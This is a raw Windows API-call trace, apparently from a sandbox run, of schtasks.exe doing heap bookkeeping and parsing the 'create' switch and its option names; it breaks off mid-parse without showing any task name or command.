MemoryPointer=0x21c24e9b3e0) returned 0x20 [0125.018] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9b3e0) returned 1 [0125.018] GetProcessHeap () returned 0x21c24e90000 [0125.018] GetProcessHeap () returned 0x21c24e90000 [0125.018] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e94240) returned 1 [0125.018] GetProcessHeap () returned 0x21c24e90000 [0125.018] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e94240) returned 0x8 [0125.018] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e94240) returned 1 [0125.018] GetProcessHeap () returned 0x21c24e90000 [0125.018] GetProcessHeap () returned 0x21c24e90000 [0125.018] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9b410) returned 1 [0125.018] GetProcessHeap () returned 0x21c24e90000 [0125.018] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9b410) returned 0x20 [0125.019] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9b410) returned 1 [0125.019] GetProcessHeap () returned 0x21c24e90000 [0125.019] GetProcessHeap () returned 0x21c24e90000 [0125.019] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e94260) returned 1 [0125.019] GetProcessHeap () returned 0x21c24e90000 [0125.019] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e94260) returned 0xe [0125.019] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e94260) returned 1 [0125.019] GetProcessHeap () returned 0x21c24e90000 [0125.019] GetProcessHeap () returned 0x21c24e90000 [0125.019] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9b7a0) returned 1 [0125.019] GetProcessHeap () returned 0x21c24e90000 [0125.019] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9b7a0) returned 0x20 [0125.020] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9b7a0) returned 1 [0125.020] GetProcessHeap () returned 0x21c24e90000 [0125.020] GetProcessHeap () returned 0x21c24e90000 [0125.020] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e94280) returned 1 [0125.020] GetProcessHeap () returned 0x21c24e90000 [0125.020] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e94280) returned 0x8 [0125.020] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e94280) returned 1 [0125.020] GetProcessHeap () returned 0x21c24e90000 [0125.020] GetProcessHeap () returned 0x21c24e90000 [0125.020] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9b440) returned 1 [0125.020] GetProcessHeap () returned 0x21c24e90000 [0125.020] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9b440) returned 0x20 [0125.021] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9b440) returned 1 [0125.021] GetProcessHeap () returned 0x21c24e90000 [0125.021] GetProcessHeap () returned 0x21c24e90000 [0125.021] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e942a0) returned 1 [0125.021] GetProcessHeap () returned 0x21c24e90000 [0125.021] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e942a0) returned 0x6 [0125.021] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e942a0) returned 1 [0125.021] GetProcessHeap () returned 0x21c24e90000 [0125.021] GetProcessHeap () returned 0x21c24e90000 [0125.021] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9bb00) returned 1 [0125.021] GetProcessHeap () returned 0x21c24e90000 [0125.021] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9bb00) returned 0x20 [0125.021] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9bb00) returned 1 [0125.021] GetProcessHeap () returned 0x21c24e90000 [0125.022] GetProcessHeap () returned 0x21c24e90000 [0125.022] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e942c0) returned 1 [0125.022] GetProcessHeap () returned 0x21c24e90000 [0125.022] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e942c0) returned 0x8 [0125.022] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e942c0) returned 1 [0125.022] GetProcessHeap () returned 0x21c24e90000 [0125.022] GetProcessHeap () returned 0x21c24e90000 [0125.022] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9b470) returned 1 [0125.022] GetProcessHeap () returned 0x21c24e90000 [0125.022] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9b470) returned 0x20 [0125.022] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9b470) returned 1 [0125.022] GetProcessHeap () returned 0x21c24e90000 [0125.022] GetProcessHeap () returned 0x21c24e90000 [0125.022] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e93b20) returned 1 [0125.022] GetProcessHeap () returned 0x21c24e90000 [0125.022] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e93b20) returned 0x4a [0125.023] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e93b20) returned 1 [0125.023] GetProcessHeap () returned 0x21c24e90000 [0125.023] GetProcessHeap () returned 0x21c24e90000 [0125.023] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9b680) returned 1 [0125.023] GetProcessHeap () returned 0x21c24e90000 [0125.023] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9b680) returned 0x20 [0125.024] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9b680) returned 1 [0125.024] GetProcessHeap () returned 0x21c24e90000 [0125.024] GetProcessHeap () returned 0x21c24e90000 [0125.024] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e93b80) returned 1 [0125.024] GetProcessHeap () returned 0x21c24e90000 [0125.024] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e93b80) returned 0x6 [0125.024] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e93b80) returned 1 [0125.024] GetProcessHeap () returned 0x21c24e90000 [0125.024] GetProcessHeap () returned 0x21c24e90000 [0125.024] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9b800) returned 1 [0125.024] GetProcessHeap () returned 0x21c24e90000 [0125.024] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9b800) returned 0x20 [0125.024] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9b800) returned 1 [0125.024] GetProcessHeap () returned 0x21c24e90000 [0125.024] GetProcessHeap () returned 0x21c24e90000 [0125.024] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e96060) returned 1 [0125.025] GetProcessHeap () returned 0x21c24e90000 [0125.025] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e96060) returned 0x18 [0125.025] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e96060) returned 1 [0125.025] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.025] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0125.025] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0125.025] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0125.025] RtlVerifyVersionInfo (VersionInfo=0xef5d8ac1f0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0125.025] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.025] lstrlenW (lpString="create") returned 6 [0125.025] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0125.025] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.025] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.026] lstrlenW (lpString="create") returned 6 [0125.026] GetProcessHeap () returned 0x21c24e90000 [0125.026] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9baa0 [0125.026] GetProcessHeap () returned 0x21c24e90000 [0125.026] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x18) returned 0x21c24e9aa30 [0125.026] _memicmp (_Buf1=0x21c24e9aa30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.026] GetProcessHeap () returned 0x21c24e90000 [0125.026] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x16) returned 0x21c24e9a9f0 [0125.026] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.026] _memicmp (_Buf1=0x21c24e94760, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.026] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21c24e99b40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0125.026] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xef5d8ac348 | out: lpdwHandle=0xef5d8ac348) returned 0x76c [0125.026] GetProcessHeap () returned 0x21c24e90000 [0125.026] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x776) returned 0x21c24e9bd80 [0125.026] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x21c24e9bd80 | out: lpData=0x21c24e9bd80) returned 1 [0125.027] VerQueryValueW (in: pBlock=0x21c24e9bd80, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xef5d8ac2e0, puLen=0xef5d8ac340 | out: lplpBuffer=0xef5d8ac2e0*=0x21c24e9c130, puLen=0xef5d8ac340) returned 1 [0125.027] _memicmp (_Buf1=0x21c24e94760, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.027] _vsnwprintf (in: _Buffer=0x21c24e99b40, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xef5d8ac2b8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0125.027] VerQueryValueW (in: pBlock=0x21c24e9bd80, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xef5d8ac2d0, puLen=0xef5d8ac338 | out: lplpBuffer=0xef5d8ac2d0*=0x21c24e9bf60, puLen=0xef5d8ac338) returned 1 [0125.027] lstrlenW (lpString="schtasks.exe") returned 12 [0125.027] lstrlenW (lpString="schtasks.exe") returned 12 [0125.027] lstrlenW (lpString=".EXE") returned 4 [0125.027] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0125.027] lstrlenW (lpString="schtasks.exe") returned 12 [0125.027] lstrlenW (lpString=".EXE") returned 4 [0125.027] lstrlenW (lpString="schtasks") returned 8 [0125.027] lstrlenW (lpString="/create") returned 7 [0125.027] _memicmp (_Buf1=0x21c24e94760, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.027] _vsnwprintf (in: _Buffer=0x21c24e99b40, _BufferCount=0x19, _Format="%s %s", _ArgList=0xef5d8ac2b8 | out: _Buffer="schtasks /create") returned 16 [0125.027] _memicmp (_Buf1=0x21c24e947f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.027] GetProcessHeap () returned 0x21c24e90000 [0125.027] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x20) returned 0x21c24e9b3e0 [0125.027] _memicmp (_Buf1=0x21c24e94810, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.038] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x21c24e9bb70, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0125.038] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0125.038] GetProcessHeap () returned 0x21c24e90000 [0125.038] RtlAllocateHeap (HeapHandle=0x21c24e90000, Flags=0xc, Size=0x30) returned 0x21c24e94240 [0125.038] _vsnwprintf (in: _Buffer=0x21c24e93e60, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xef5d8ac2b8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0125.038] GetProcessHeap () returned 0x21c24e90000 [0125.038] GetProcessHeap () returned 0x21c24e90000 [0125.038] HeapValidate (hHeap=0x21c24e90000, dwFlags=0x0, lpMem=0x21c24e9bd80) returned 1 [0125.038] GetProcessHeap () returned 0x21c24e90000 [0125.039] RtlSizeHeap (HeapHandle=0x21c24e90000, Flags=0x0, MemoryPointer=0x21c24e9bd80) returned 0x776 [0125.039] RtlFreeHeap (HeapHandle=0x21c24e90000, Flags=0x0, BaseAddress=0x21c24e9bd80) returned 1 [0125.039] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.039] GetThreadLocale () returned 0x409 [0125.039] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.039] lstrlenW (lpString="create") returned 6 [0125.039] GetThreadLocale () returned 0x409 [0125.039] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.039] lstrlenW (lpString="?") returned 1 [0125.039] GetThreadLocale () returned 0x409 [0125.039] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.039] lstrlenW (lpString="s") returned 1 [0125.039] GetThreadLocale () returned 0x409 [0125.039] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.039] lstrlenW (lpString="u") returned 1 [0125.039] GetThreadLocale () returned 0x409 [0125.039] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.039] lstrlenW (lpString="p") returned 1 [0125.039] GetThreadLocale () returned 0x409 [0125.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.040] lstrlenW (lpString="ru") returned 2 [0125.040] GetThreadLocale () returned 0x409 [0125.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.040] lstrlenW (lpString="rp") returned 2 [0125.040] GetThreadLocale () returned 0x409 [0125.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.040] lstrlenW (lpString="sc") returned 2 [0125.040] GetThreadLocale () returned 0x409 [0125.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.040] lstrlenW (lpString="mo") returned 2 [0125.040] GetThreadLocale () returned 0x409 [0125.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.040] lstrlenW (lpString="d") returned 1 [0125.040] GetThreadLocale () returned 0x409 [0125.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.040] lstrlenW (lpString="m") returned 1 [0125.040] GetThreadLocale () returned 0x409 [0125.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.040] lstrlenW (lpString="i") returned 1 [0125.040] GetThreadLocale () returned 0x409 [0125.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.040] lstrlenW (lpString="tn") returned 2 [0125.040] GetThreadLocale () returned 0x409 [0125.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.040] lstrlenW (lpString="tr") returned 2 [0125.040] GetThreadLocale () returned 0x409 [0125.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.040] lstrlenW (lpString="st") returned 2 [0125.040] GetThreadLocale () returned 0x409 [0125.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.041] lstrlenW (lpString="sd") returned 2 [0125.041] GetThreadLocale () returned 0x409 [0125.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.041] lstrlenW (lpString="ed") returned 2 [0125.041] GetThreadLocale () returned 0x409 [0125.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.041] lstrlenW (lpString="it") returned 2 [0125.041] GetThreadLocale () returned 0x409 [0125.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.041] lstrlenW (lpString="et") returned 2 [0125.041] GetThreadLocale () returned 0x409 [0125.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.041] lstrlenW (lpString="k") returned 1 [0125.041] GetThreadLocale () returned 0x409 [0125.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.041] lstrlenW (lpString="du") returned 2 [0125.041] GetThreadLocale () returned 0x409 [0125.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.041] lstrlenW (lpString="ri") returned 2 [0125.041] GetThreadLocale () returned 0x409 [0125.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.041] lstrlenW (lpString="z") returned 1 [0125.041] GetThreadLocale () returned 0x409 [0125.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.041] lstrlenW (lpString="f") returned 1 [0125.041] GetThreadLocale () returned 0x409 [0125.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.041] lstrlenW (lpString="v1") returned 2 [0125.041] GetThreadLocale () returned 0x409 [0125.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.041] lstrlenW (lpString="xml") returned 3 [0125.041] GetThreadLocale () returned 0x409 [0125.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.042] lstrlenW (lpString="ec") returned 2 [0125.042] GetThreadLocale () returned 0x409 [0125.042] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.042] lstrlenW (lpString="rl") returned 2 [0125.042] GetThreadLocale () returned 0x409 [0125.042] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.042] lstrlenW (lpString="delay") returned 5 [0125.042] GetThreadLocale () returned 0x409 [0125.042] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.042] lstrlenW (lpString="np") returned 2 [0125.042] GetThreadLocale () returned 0x409 [0125.042] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0125.042] lstrlenW (lpString="hresult") returned 7 [0125.042] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.042] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.042] lstrlenW (lpString="/create") returned 7 [0125.042] lstrlenW (lpString="-/") returned 2 [0125.042] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.042] lstrlenW (lpString="create") returned 6 [0125.042] lstrlenW (lpString="create") returned 6 [0125.042] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.042] lstrlenW (lpString="create") returned 6 [0125.042] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.042] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|create|") returned 8 [0125.042] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|create|") returned 8 [0125.042] lstrlenW (lpString="|create|") returned 8 [0125.042] lstrlenW (lpString="|create|") returned 8 [0125.042] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0125.042] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.043] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.043] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.043] lstrlenW (lpString="/tn") returned 3 [0125.043] lstrlenW (lpString="-/") returned 2 [0125.043] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0125.043] lstrlenW (lpString="create") returned 6 [0125.043] lstrlenW (lpString="create") returned 6 [0125.043] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.043] lstrlenW (lpString="tn") returned 2 [0125.043] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.043] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|create|") returned 8 [0125.043] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tn|") returned 4 [0125.043] lstrlenW (lpString="|create|") returned 8 [0125.043] lstrlenW (lpString="|tn|") returned 4 [0125.043] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0125.043] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.043] lstrlenW (lpString="?") returned 1 [0125.043] lstrlenW (lpString="?") returned 1 [0125.043] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.043] lstrlenW (lpString="tn") returned 2 [0125.043] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.043] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|?|") returned 3 [0125.043] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tn|") returned 4 [0125.043] lstrlenW (lpString="|?|") returned 3 [0125.043] lstrlenW (lpString="|tn|") returned 4 [0125.043] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.044] lstrlenW (lpString="s") returned 1 [0125.044] lstrlenW (lpString="s") returned 1 [0125.044] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.044] lstrlenW (lpString="tn") returned 2 [0125.044] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.044] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|s|") returned 3 [0125.044] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tn|") returned 4 [0125.044] lstrlenW (lpString="|s|") returned 3 [0125.044] lstrlenW (lpString="|tn|") returned 4 [0125.044] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.044] lstrlenW (lpString="u") returned 1 [0125.044] lstrlenW (lpString="u") returned 1 [0125.044] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.044] lstrlenW (lpString="tn") returned 2 [0125.044] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.044] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|u|") returned 3 [0125.044] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tn|") returned 4 [0125.044] lstrlenW (lpString="|u|") returned 3 [0125.044] lstrlenW (lpString="|tn|") returned 4 [0125.044] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.044] lstrlenW (lpString="p") returned 1 [0125.044] lstrlenW (lpString="p") returned 1 [0125.044] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.044] lstrlenW (lpString="tn") returned 2 [0125.044] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.044] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|p|") returned 3 [0125.047] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tn|") returned 4 [0125.047] lstrlenW (lpString="|p|") returned 3 [0125.047] lstrlenW (lpString="|tn|") returned 4 [0125.047] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.047] lstrlenW (lpString="ru") returned 2 [0125.047] lstrlenW (lpString="ru") returned 2 [0125.047] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.047] lstrlenW (lpString="tn") returned 2 [0125.047] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.047] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|ru|") returned 4 [0125.047] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tn|") returned 4 [0125.047] lstrlenW (lpString="|ru|") returned 4 [0125.047] lstrlenW (lpString="|tn|") returned 4 [0125.047] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0125.047] RtlRestoreLastWin32Error () returned 0xef5db60000 [0125.047] lstrlenW (lpString="rp") returned 2 [0125.047] lstrlenW (lpString="rp") returned 2 [0125.047] _memicmp (_Buf1=0x21c24e93f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.047] lstrlenW (lpString="tn") returned 2 [0125.047] _memicmp (_Buf1=0x21c24e938b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0125.047] _vsnwprintf (in: _Buffer=0x21c24e938f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|rp|") returned 4 [0125.047] _vsnwprintf (in: _Buffer=0x21c24e938d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xef5d8ac2c8 | out: _Buffer="|tn|") returned 4 [0125.048] lstrlenW (lpString="|rp|") returned 4 [0125.048] lstrlenW (lpString="|tn|") returned 4 